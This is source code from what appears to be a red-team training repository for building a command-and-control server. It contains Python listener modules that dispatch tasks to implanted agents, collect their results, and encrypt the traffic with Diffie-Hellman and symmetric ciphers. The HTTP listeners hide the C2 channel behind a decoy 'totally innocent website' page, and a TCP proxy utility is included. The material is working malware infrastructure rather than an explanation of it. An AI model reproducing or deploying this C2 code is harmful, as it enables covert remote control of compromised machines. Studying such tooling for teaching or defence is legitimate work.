-------------------------------------------------------------------------------- /malon_lp/malon_lp/listener/handler/__init__.py: -------------------------------------------------------------------------------- 1 | from typing import Optional 2 | from abc import ABC, abstractmethod 3 | 4 | class Handler(ABC): 5 | @abstractmethod 6 | def handle_msg(self, msg: bytes): 7 | """ 8 | En cada una de las requests que 9 | realiza el agente, se invoca este metodo. 10 | Es necesario en este lugar decidir el 11 | tipo de mensaje que se esta recibiendo 12 | para definir si es necesario consultar 13 | por tareas nuevas que deba realizar el agente 14 | o registrar el resultado 15 | """ 16 | pass 17 | 18 | class AuthenticatedHandler(ABC): 19 | @abstractmethod 20 | def handle_auth_msg(self, msg: bytes, client_id: str): 21 | """ 22 | Posee la misma logica correspondiente 23 | al manejo de mensajes, pero con la 24 | funcionalidad adicional de poder identificar 25 | al agente que se encuentra 26 | interactuando con el listener 27 | """ 28 | pass 29 | -------------------------------------------------------------------------------- /malon_lp/malon_lp/listener/handler/api.py: -------------------------------------------------------------------------------- 1 | from typing import NamedTuple, Optional 2 | 3 | from . import AuthenticatedHandler 4 | 5 | import json 6 | import requests 7 | 8 | class ApiHandler(AuthenticatedHandler): 9 | def __init__(self, base_url: str, listener_id: int): 10 | self._base_url = base_url 11 | self._listener_id = listener_id 12 | 13 | def _report_agent(self, client_id: str): 14 | report = {'listener_id': self._listener_id} 15 | requests.post('{}/agents/{}/report'.format(self._base_url, client_id), json=report) 16 | 17 | def _handle_get_tasks_msg(self, client_id: str, _msg) -> bytes: 18 | response = requests.get('{}/agents/{}/tasks/unread/'.format(self._base_url, client_id)) 19 | tasks = response.json() if response.ok else [] 20 | return json.dumps({ 21 | 'task_list_msg': { 22 | 'tasks': tasks 23 | } 24 | }).encode('utf-8') 25 | 26 | def _handle_task_results_msg(self, client_id: str, msg) -> bytes: 27 | for result in msg['results']: 28 | task_id = result['task_id'] 29 | response = requests.post('{}/agents/{}/tasks/{}/result'.format( 30 | self._base_url, 31 | client_id, 32 | task_id 33 | ), json=result) 34 | return json.dumps({ 35 | 'status_msg': { 36 | 'success': True 37 | } 38 | }).encode('utf-8') 39 | 40 | def handle_auth_msg(self, msg: bytes, client_id: str) -> bytes: 41 | self._report_agent(client_id) 42 | agent_msg = json.loads(msg.decode('utf-8')) 43 | if agent_msg.get('get_tasks_msg') is not None: 44 | return self._handle_get_tasks_msg(client_id, agent_msg['get_tasks_msg']) 45 | elif agent_msg.get('task_results_msg') is not None: 46 | return self._handle_task_results_msg(client_id, agent_msg['task_results_msg']) 47 | else: 48 | raise RuntimeError('Unexpected message type') -------------------------------------------------------------------------------- /malon_lp/malon_lp/listener/handler/dh.py: -------------------------------------------------------------------------------- 1 | import json 2 | from typing import Mapping, Optional 3 | from base64 import b64encode, b64decode 4 | 5 | from . import Handler, AuthenticatedHandler 6 | from malon_lp.crypto.dh import KeyExchange, get_client_id 7 | from malon_lp.crypto.sym import SymmetricCipher 8 | 9 | 10 | 11 | KeyRespository = Mapping[str, bytes] 12 | 13 | 14 | class DHHandler(Handler): 15 | def __init__(self, ke: KeyExchange, handler: AuthenticatedHandler, kr: Optional[KeyRespository] = None): 16 | self._ke = ke 17 | self._handler = handler 18 | self._kr = kr if kr is not None else {} # en caso de no proveer un KeyRepository crea un diccionario 19 | 20 | def _handle_handshake_msg(self, public_key: bytes) -> bytes: 21 | """ 22 | Recibe la clave publica del cliente, y la persiste en el KeyRepository. 23 | Al finalizar le retorna al cliente la clave publica del Listener. 24 | """ 25 | client_id = get_client_id(public_key).hex() 26 | self._kr[client_id] = public_key 27 | response_msg = { 28 | 'handshake_msg': { 29 | 'public_key': b64encode(self._ke.get_public_key()).decode('utf-8') 30 | } 31 | } 32 | return json.dumps(response_msg).encode('utf-8') 33 | 34 | def _handle_client_msg(self, client_id: str, encrypted_payload: bytes) -> bytes: 35 | """ 36 | - Obtiene la clave publica del KeyRepository a partir del client_id 37 | - Genera la clave compartida 38 | - Verifica y decifra el mensaje con la misma 39 | - Delega el mensaje en el AuthenticatedHandler para obtener la respuesta para el cliente 40 | - La cifra y firma con la clave compartida 41 | - Devuelve la respuesta 42 | """ 43 | key = self._kr.get(client_id, None) 44 | if key is not None: 45 | cipher = SymmetricCipher(self._ke.get_shared_key(self._kr[client_id])) 46 | payload = cipher.verify_decrypt_msg(encrypted_payload) 47 | response = self._handler.handle_auth_msg(payload, client_id) 48 | encrypted_response = cipher.encrypt_sign_msg(response) 49 | return json.dumps({ 50 | 'server_msg': { 51 | 'payload': b64encode(encrypted_response).decode('utf-8') 52 | } 53 | }).encode('utf-8') 54 | else: 55 | return json.dumps({ 56 | 'error_msg': { 57 | 'type': 'HANDSHAKE_EXPIRED' 58 | } 59 | }).encode('utf-8') 60 | 61 | def handle_msg(self, msg: bytes) -> bytes: 62 | """ 63 | realiza un dispatch de los mensajes recibido, segun corresponda 64 | ver: 65 | -_handle_handshake_msg {"handshake_msg":{"public_key": "..."}} 66 | -_handle_client_msg {"client_msg":{"client_id": "...", "payload": "..."}} 67 | """ 68 | base_msg = json.loads(msg.decode('utf-8')) 69 | if base_msg.get('handshake_msg') is not None: 70 | return self._handle_handshake_msg(b64decode(base_msg['handshake_msg']['public_key'])) 71 | elif base_msg.get('client_msg') is not None: 72 | return self._handle_client_msg( 73 | base_msg['client_msg']['client_id'], 74 | b64decode(base_msg['client_msg']['payload']) 75 | ) 76 | else: 77 | raise RuntimeError('Unexpected message type') 78 | -------------------------------------------------------------------------------- /malon_lp/malon_lp/listener/handler/dummy_auth.py: -------------------------------------------------------------------------------- 1 | import json 2 | from typing import Mapping, Optional 3 | from base64 import b64encode, b64decode 4 | 5 | from . import Handler, AuthenticatedHandler 6 | from malon_lp.crypto.dh import KeyExchange, get_client_id 7 | from malon_lp.crypto.sym import SymmetricCipher 8 | 9 | 10 | KeyRespository = Mapping[str, bytes] 11 | 12 | 13 | class DummyAuthenticationHandler(Handler): 14 | def __init__(self, handler: AuthenticatedHandler): 15 | self._handler = handler 16 | 17 | def handle_msg(self, msg: bytes, client_id: Optional[str] = None) -> bytes: 18 | """ 19 | Desencodea el contenido del payload y delega el mensage en el AuthenticatedHandler 20 | """ 21 | base_msg = json.loads(msg.decode('utf-8')) 22 | if base_msg.get('client_msg') is not None: 23 | payload = self._handler.handle_auth_msg( 24 | b64decode(base_msg['client_msg']['payload']), 25 | base_msg['client_msg']['client_id'] 26 | ) 27 | server_msg = {'payload': b64encode(payload).decode('utf-8')} 28 | base_msg = {'server_msg': server_msg} 29 | return json.dumps(base_msg).encode('utf-8') 30 | else: 31 | raise RuntimeError('Unexpected message type') 32 | -------------------------------------------------------------------------------- /malon_lp/malon_lp/listener/handler/sym.py: -------------------------------------------------------------------------------- 1 | from typing import Optional 2 | from . import Handler 3 | 4 | from malon_lp.crypto.sym import SymmetricCipher 5 | 6 | class EncryptedHandler(Handler): 7 | KEY_LENGTH = 16 8 | 9 | def __init__(self, key: bytes, handler: Handler): 10 | if len(key) != self.KEY_LENGTH: 11 | raise RuntimeError('Invalid key length, should be {}'.format(self.KEY_LENGTH)) 12 | 13 | self._cipher = SymmetricCipher(key) 14 | self._handler = handler 15 | 16 | def handle_msg(self, msg: bytes) -> bytes: 17 | """ 18 | Delega el mensaje descfirado (por la primer capa de criptografia simetrica) 19 | en el Handler siguiente 20 | """ 21 | decrypted_msg = self._cipher.verify_decrypt_msg(msg) 22 | response_msg = self._handler.handle_msg(decrypted_msg) 23 | encrypted_response_msg = self._cipher.encrypt_sign_msg(response_msg) 24 | return encrypted_response_msg 25 | -------------------------------------------------------------------------------- /malon_lp/malon_lp/listener/listener/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pucarasec/Build-C2-RedTeam-Course/d1d6e1651580b1ce2461921fccb2a604d2f083b6/malon_lp/malon_lp/listener/listener/__init__.py -------------------------------------------------------------------------------- /malon_lp/malon_lp/listener/listener/http_listener.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request 2 | from base64 import b64decode, b64encode 3 | 4 | from malon_lp.listener import Listener 5 | from malon_lp.listener.handler.sym import EncryptedHandler 6 | from malon_lp.listener.handler.dh import DHHandler 7 | from malon_lp.listener.handler.api import ApiHandler 8 | 9 | from malon_lp.crypto.dh import KeyExchange 10 | 11 | class HttpListener(Listener): 12 | def __init__(self, api_url: str, listener_id: int, host: str, port: int, sym_key: bytes): 13 | handler = ApiHandler(api_url, listener_id) 14 | handler = DHHandler(KeyExchange(), handler) 15 | handler = EncryptedHandler(sym_key, handler) 16 | 17 | self._handler = handler 18 | self._host = host 19 | self._port = port 20 | 21 | @classmethod 22 | def new(cls, api_url: str, listener_id: int, host: str, port: int, sym_key: bytes) -> 'Listener': 23 | return cls(api_url, listener_id, host, port, sym_key) 24 | 25 | @classmethod 26 | def type_name(cls) -> str: 27 | return 'http' 28 | 29 | def run(self): 30 | # A implementar 31 | app = Flask(__name__) 32 | 33 | @app.route('/', methods=["POST"]) 34 | def root(): 35 | msg = b64decode(request.form['m']) 36 | response_msg = self._handler.handle_msg(msg) 37 | return """ 38 | 39 | 40 | I'm a totally innocent website 41 | 42 | """.format(b64encode(response_msg).decode('utf-8')) 43 | 44 | app.run(host=self._host, port=self._port) 45 | 46 | -------------------------------------------------------------------------------- /malon_lp/malon_lp/listener/listener/udp_listener.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request 2 | from base64 import b64decode, b64encode 3 | 4 | from malon_lp.listener import Listener 5 | from malon_lp.listener.handler.sym import EncryptedHandler 6 | from malon_lp.listener.handler.dh import DHHandler 7 | from malon_lp.listener.handler.api import ApiHandler 8 | 9 | from malon_lp.crypto.dh import KeyExchange 10 | 11 | import socket 12 | 13 | NUMERO_COMPLETAMENTE_ARBITRARIO = 2048 14 | 15 | class UdpListener(Listener): 16 | def __init__(self, api_url: str, listener_id: int, host: str, port: int, sym_key: bytes): 17 | handler = ApiHandler(api_url, listener_id) 18 | handler = DHHandler(KeyExchange(), handler) 19 | handler = EncryptedHandler(sym_key, handler) 20 | 21 | self._handler = handler 22 | self._port = port 23 | self._host = host 24 | 25 | @classmethod 26 | def new(cls, api_url: str, listener_id: int, host: str, port: int, sym_key: bytes) -> 'Listener': 27 | return cls(api_url, listener_id, host, port, sym_key) 28 | 29 | @classmethod 30 | def type_name(cls) -> str: 31 | return 'udp' 32 | 33 | def run(self): 34 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 35 | sock.bind((self._host, self._port)) 36 | while True: 37 | msg, addr = sock.recvfrom(NUMERO_COMPLETAMENTE_ARBITRARIO) 38 | print('Received message from: {}'.format(addr)) 39 | if msg: 40 | response_msg = self._handler.handle_msg(msg) 41 | sock.sendto(response_msg, addr) 42 | 43 | 44 | -------------------------------------------------------------------------------- /malon_lp/malon_lp/listener/listener/unenc_http_listener.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request 2 | from base64 import b64decode, b64encode 3 | 4 | from malon_lp.listener import Listener 5 | from malon_lp.listener.handler.dummy_auth import DummyAuthenticationHandler 6 | from malon_lp.listener.handler.api import ApiHandler 7 | 8 | from malon_lp.crypto.dh import KeyExchange 9 | 10 | class UnencryptedHttpListener(Listener): 11 | def __init__(self, api_url: str, listener_id: int, host: str, port: int): 12 | handler = ApiHandler(api_url, listener_id) 13 | handler = DummyAuthenticationHandler(handler) 14 | 15 | self._handler = handler 16 | self._host = host 17 | self._port = port 18 | 19 | @classmethod 20 | def new(cls, api_url: str, listener_id: int, host: str, port: int, _sym_key: bytes) -> 'Listener': 21 | return cls(api_url, listener_id, host, port) 22 | 23 | @classmethod 24 | def type_name(cls) -> str: 25 | return 'unenc-http' 26 | 27 | def run(self): 28 | # A implementar 29 | app = Flask(__name__) 30 | 31 | @app.route('/', methods=["POST"]) 32 | def root(): 33 | msg = b64decode(request.form['m']) 34 | response_msg = self._handler.handle_msg(msg) 35 | return """ 36 | 37 | 38 | I'm a totally innocent website 39 | 40 | """.format(b64encode(response_msg).decode('utf-8')) 41 | 42 | app.run(host=self._host, port=self._port) 43 | 44 | -------------------------------------------------------------------------------- /malon_lp/malon_lp/listener/listener/unenc_udp_listener.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request 2 | from base64 import b64decode, b64encode 3 | 4 | from malon_lp.listener import Listener 5 | from malon_lp.listener.handler.sym import EncryptedHandler 6 | from malon_lp.listener.handler.dh import DHHandler 7 | from malon_lp.listener.handler.api import ApiHandler 8 | 9 | from malon_lp.listener.handler.dummy_auth import DummyAuthenticationHandler 10 | 11 | from malon_lp.crypto.dh import KeyExchange 12 | 13 | import socket 14 | 15 | NUMERO_COMPLETAMENTE_ARBITRARIO = 2048 16 | 17 | class UdpListener(Listener): 18 | def __init__(self, api_url: str, listener_id: int, host: str, port: int): 19 | handler = ApiHandler(api_url, listener_id) 20 | handler = DummyAuthenticationHandler(handler) 21 | 22 | self._handler = handler 23 | self._port = port 24 | self._host = host 25 | 26 | @classmethod 27 | def new(cls, api_url: str, listener_id: int, host: str, port: int, _sym_key: bytes) -> 'Listener': 28 | return cls(api_url, listener_id, host, port) 29 | 30 | @classmethod 31 | def type_name(cls) -> str: 32 | return 'unenc-udp' 33 | 34 | def run(self): 35 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 36 | sock.bind((self._host, self._port)) 37 | while True: 38 | msg, addr = sock.recvfrom(NUMERO_COMPLETAMENTE_ARBITRARIO) 39 | print('Received message from: {}'.format(addr)) 40 | if msg: 41 | response_msg = self._handler.handle_msg(msg) 42 | sock.sendto(response_msg, addr) 43 | 44 | 45 | -------------------------------------------------------------------------------- /malon_lp/render_launcher/config_placeholder.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pucarasec/Build-C2-RedTeam-Course/d1d6e1651580b1ce2461921fccb2a604d2f083b6/malon_lp/render_launcher/config_placeholder.bin -------------------------------------------------------------------------------- /malon_lp/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | sqlalchemy 3 | requests 4 | protobuf 5 | pycryptodome 6 | ecdsa 7 | -------------------------------------------------------------------------------- /util/tcp_proxy.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import argparse 3 | 4 | 5 | class Proxy: 6 | def __init__(self, bind_host: str, bind_port: int, target_host: str, target_port: int): 7 | self._bind_host = bind_host 8 | self._bind_port = bind_port 9 | self._target_host = target_host 10 | self._target_port = target_port 11 | 12 | async def forward_endpoint_data(self, reader, writer): 13 | while True: 14 | data = await reader.read(1024) 15 | if len(data) == 0: break 16 | writer.write(data) 17 | await writer.drain() 18 | 19 | 20 | async def handle_connection(self, client_reader, client_writer): 21 | print('New connection') 22 | server_reader, server_writer = await asyncio.open_connection(self._target_host, self._target_port) 23 | 24 | asyncio.create_task(self.forward_endpoint_data(client_reader, server_writer)) 25 | asyncio.create_task(self.forward_endpoint_data(server_reader, client_writer)) 26 | 27 | async def run(self): 28 | server = await asyncio.start_server(self.handle_connection, 29 | self._bind_host, self._bind_port) 30 | 31 | addr = server.sockets[0].getsockname() 32 | 33 | async with server: 34 | await server.serve_forever() 35 | 36 | def main(): 37 | parser = argparse.ArgumentParser(description='TCP Proxy') 38 | parser.add_argument('--bind_host', '-b', type=str, required=False, default='127.0.0.1', help='Bind hostname') 39 | parser.add_argument('bind_port', type=int, help='Bind port') 40 | parser.add_argument('target_host', type=str, help='Target hostname') 41 | parser.add_argument('target_port', type=int, help='Target port') 42 | args = parser.parse_args() 43 | 44 | proxy = Proxy(args.bind_host, args.bind_port, args.target_host, args.target_port) 45 | 46 | asyncio.run(proxy.run()) 47 | 48 | if __name__ == '__main__': 49 | main() 50 | --------------------------------------------------------------------------------